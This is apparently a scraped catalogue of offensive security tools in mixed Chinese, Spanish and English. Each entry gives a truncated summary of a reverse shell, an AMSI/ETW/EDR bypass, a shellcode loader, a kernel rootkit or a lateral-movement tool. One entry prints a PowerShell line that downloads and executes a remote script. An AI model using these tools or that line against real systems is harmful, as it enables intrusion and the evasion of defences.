xc

XC 类似于Netcat的反向Shell，适用于Linux和Windows。 功能 Windows Usage: └ Shared Commands: !exit !upload uploads a file to the target !download downloads a file from the target !lfwd local portforwarding like ssh -L !rfwd remote portforwarding like ssh -R !lsfwd lists active forwards !rmfwd removes forward by...

SharpBlock

SharpBlock 一种通过阻止入口点执行来绕过EDR主动投影DLL的方法。 功能特性 阻止EDR DLL入口点执行，从而防止放置EDR钩子。 无补丁的AMSI绕过，运行时的补丁扫描器无法检测到Amsi.dll的修改。 主机进程可被替换为从磁盘、HTTP或命名管道加载的植入PE文件（Cobalt Strike） 植入的进程被隐藏，有助于规避扫描空心化进程的检测。 命令行参数在进程创建后使用隐蔽的EDR检测方法进行伪造和植入。 无补丁的ETW绕过。 当调用者位于被阻止DLL的地址空间范围内时，阻止NtProtectVirtualMemory的调用。 SharpBlock by...

nimcrypt

nimcrypt 一个用 Nim 编写的 Sliver shellcode 加载器，针对 Windows x64。包含两种变体，涵盖最常见的两种投递场景。已在开启实时保护的 Windows Defender 环境下测试通过。 变体 stager 从磁盘读取加密的 shellcode 文件，在内存中解密并自注入。适用于已具备文件投放能力，且需要一个轻量简单二进制文件的场景。 loader.exe keyhex ivhex 密钥和 IV 可选。如果省略，文件将被视为未加密的原始 shellcode。 stageless 通过 Windows WinHTTP 栈从你的 C2 服务器下载加密的...

freddy

Freddy the Serialisation Killer - Deserialization Bug Finder A Burp Suite extension to aid in detecting and exploiting serialisation libraries/APIs. This useful extension was originally developed by Nick Bloor @nickstadb for NCC Group and is mainly based on the work of Alvaro Muñoz and Oleksandr...

wmiexec-Pro

wmiexec-Pro Tabla de contenido 1. Información 2. Agradecimientos especiales 3. Características 4. Cómo empezar Instalación 5. Uso 6. Capturas de pantalla 7. ¿Cómo funciona? 8. Aviso legal 9. Referencias Información La nueva generación de wmiexec.py, con más funciones nuevas; todas las operaciones...

powershell-reverse-tcp

PowerShell 反向 TCP 用于与远程主机通信的 PowerShell 脚本。 远程主机将完全控制客户端及所有底层系统命令。 基于以下方式的 Shell： Invoke-Expression PowerShell 命令 此处, 进程管道 此处. 已在 Windows 10 企业版操作系统（64 位）上的 PowerShell v5.1.19041.2673 中测试。 仅供教育目的。希望对你有所帮助！ 此仓库已开始出现已知签名，我没有时间每次都上传新脚本，因此你应该自行混淆这些脚本。 未来计划： 基于进程管道的更多 Shell，并进一步优化它们。 目录 如何运行 混淆...

Rusty-Playground

Rusty-Playground 🦀 Una colección de programas en Rust que muestran algunas técnicas de seguridad ofensiva y evasión Herramienta| Descripción| Referencias ---|---|--- ClipboardMon| Monitoriza el portapapeles para detectar cambios y registra su contenido o copia archivos según los cambios...

SharpKiller

SharpKiller Bypass de AMSI de por vida: AMSI-Killer de @ZeroMemoryEx portado a .NET Framework 4.8. Se requiere ofuscación adicional https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/SharpKiller.A&ThreatID=2147895059 Funciones recientemente integradas:...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Colecciones de herramientas WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

Nidhogg

Nidhogg Nidhogg 是一个多功能 Rootkit，用于展示内核空间中可以执行的各种操作。Nidhogg 的目标是提供一个一体化且易于使用的 Rootkit，具有多种对操作有用的功能。此外，它还可以轻松与你的 C2 框架集成。 Nidhogg 可在任何版本的 x64 Windows 10 和 Windows 11 上运行。 此仓库包含一个内核驱动程序以及一个用于与之通信的 C++ 程序。 如果你想了解更多信息，请查看 Wiki 获得详细说明。 当前功能 !IMPORTANT 所有功能均已完全测试至 Windows 11 25H2。 如果遇到问题，请先检查是否已有未关闭的...

PatchlessCLRLoader

PatchlessCLRLoader PatchlessCLRLoader es un fork de InlineExecute-Assembly para cargar ensamblados .NET y dirigir la salida a mailslot. Lo reescribí como un cargador independiente con la siguiente implementación: Payload cifrado con AES Soporte de payload fileless Bypass patchless de AMSI y ETW...

Girsh

Girsh Golang 交互式反向 Shell 谁没有厌倦过手动输入那几行代码来将反向 Shell 升级为完整的交互式反向 Shell（tty spawn、stty size ...、stty raw -echo）或者输入使用 ConPTY 的命令呢？ 描述 使用 Girsh，只需运行它，它就会检测操作系统并执行正确的命令，将其升级为完整的交互式反向 Shell。 对于 Linux： 获取终端大小 使用 python2.7、python3 和 python 生成 tty 将终端设置为 raw 模式 对于 Windows： 绕过 AMSI 并使用 ConPTY 生成交互式终端 监听以获取...

IronSharpPack

IronSharpPack IronSharpPack es un repositorio de proyectos populares de C que se han incrustado en scripts de IronPython que ejecutan un bypass de AMSI y luego cargan reflexivamente el proyecto de C. IronPython y el DLR tienen muy poca instrumentación, si es que tienen alguna, lo que lo convierte...

Amsi-Bypass-Powershell

赞助方 Amsi-Bypass-Powershell 此仓库包含我在不同博客文章中发现的某些反恶意软件扫描接口（AMSI）绕过/规避方法。 大多数脚本本身会被AMSI检测到。因此，您需要找到触发器并通过变量/函数重命名、字符串替换或运行时编码解码来更改签名。或者，通过ISESteroids和/或Invoke-Obfuscation对它们进行混淆处理以使其工作。您还可以查看我关于手动修改签名以获得有效绕过的博客文章。 0. 修补clr.dll中的AmsiScanBuffer 1. ScriptBlock Smuggling 2. Reflection ScanContent Change ...

CheeseTools

CheeseTools 本仓库基于已有的 MiscTool 构建，在此特别感谢 rasta-mouse 发布这些工具，并给予我改进它们的动力。 CheeseExec 通过类似 PsExec 的功能实现命令执行/横向移动。必须在拥有特权的用户上下文中运行。 该工具基于 rasta-mouse 的 CsExec，但设计上提供了对服务创建的额外控制，具体包括： 创建（检查服务是否存在，若不存在则尝试创建） 启动（检查服务是否存在且已停止，若是则尝试启动；否则尝试创建并启动） 停止（检查服务是否存在且正在运行，若是则尝试停止） 删除（检查服务是否存在且正在运行，若是则尝试停止后删除，否则直接删除...

LightsOut

LightsOut LightsOut 将生成一个混淆的 DLL，用于禁用 AMSI 和 ETW，同时尝试规避杀毒软件。它通过随机化所有使用的 WinAPI 函数、对字符串进行 XOR 编码以及利用基本沙箱检查来实现这一点。使用 Mingw-w64 将混淆后的 C 代码编译成 DLL，可加载到任何存在 AMSI 或 ETW 的进程中（例如 PowerShell）。 LightsOut 设计在安装了 python3 和 mingw-w64 的 Linux 系统上运行。无需其他依赖。 当前功能包括： 字符串 XOR 编码 WinAPI 函数名随机化 多种沙箱检查选项 硬件断点绕过选项 | |...

ExecuteAssembly

描述： ExecuteAssembly 是 Cobalt Strike execute-assembly 的一个替代方案，使用 C/C++ 构建。它可以通过以下方式加载/注入 .NET 程序集：重用宿主（spawnto）进程已加载的 CLR 模块/AppDomainManager、覆盖加载器/.NET 程序集 PE DOS 头部、解除 .NET 相关模块的链接、绕过 ETW+AMSI、通过 NT 静态系统调用（x64）规避 EDR 钩子，以及通过 SuperFastHash 哈希算法动态解析 API 来隐藏导入。 简要（特性）： 从 PEB 数据结构中解除 CLR 相关模块的链接（使用微...

Stracciatella

Stracciatella v0.7 从C内部运行的PowerShell runspace（又名SharpPick技术），已禁用AMSI、ETW和脚本块日志记录，为您提供便利。 如今，当PowerShell通过使用如下技术遭到严重检测时： AMSI ETW 脚本块日志记录 转录文件 模块日志记录 约束语言模式 高级攻击者必须找到绕过这些措施的方法，以便提供复杂的对抗性模拟演练。为了协助这些努力，创建了以下项目。 此程序构建在针对特定技术的绕过方法之上，这些方法包含在： Disable-Amsi.ps1 KillETW.ps1 by tandasat...

NyxInvoke

NyxInvoke NyxInvoke es una herramienta versátil basada en Rust diseñada para ejecutar ensamblados .NET, comandos/scripts de PowerShell, Beacon Object Files BOFs y archivos PE, con capacidades integradas de desenganchado de Ntdll Ntdll Unhooking y evasión sin parches de AMSI y ETW. Puede compilars...

MeterPwrShell

非活跃工具 - 原因：忙于其他事务 . . . / \ / | \ \ / /| | | | | | \ \ / \ / / \ / \ \ | / / | \ \ | | / | | | | / / / Y \ /| | \ /| | / | \ / | | / | Y \ /| || |/ \ | /\ | \ | || // || / /|| /\ /| / / / / / / / / MeterPwrShell2 自动化工具，可生成能在 Metasploit 上创建 Meterpreter Shell 的 PowerShell 单行命令，绕过...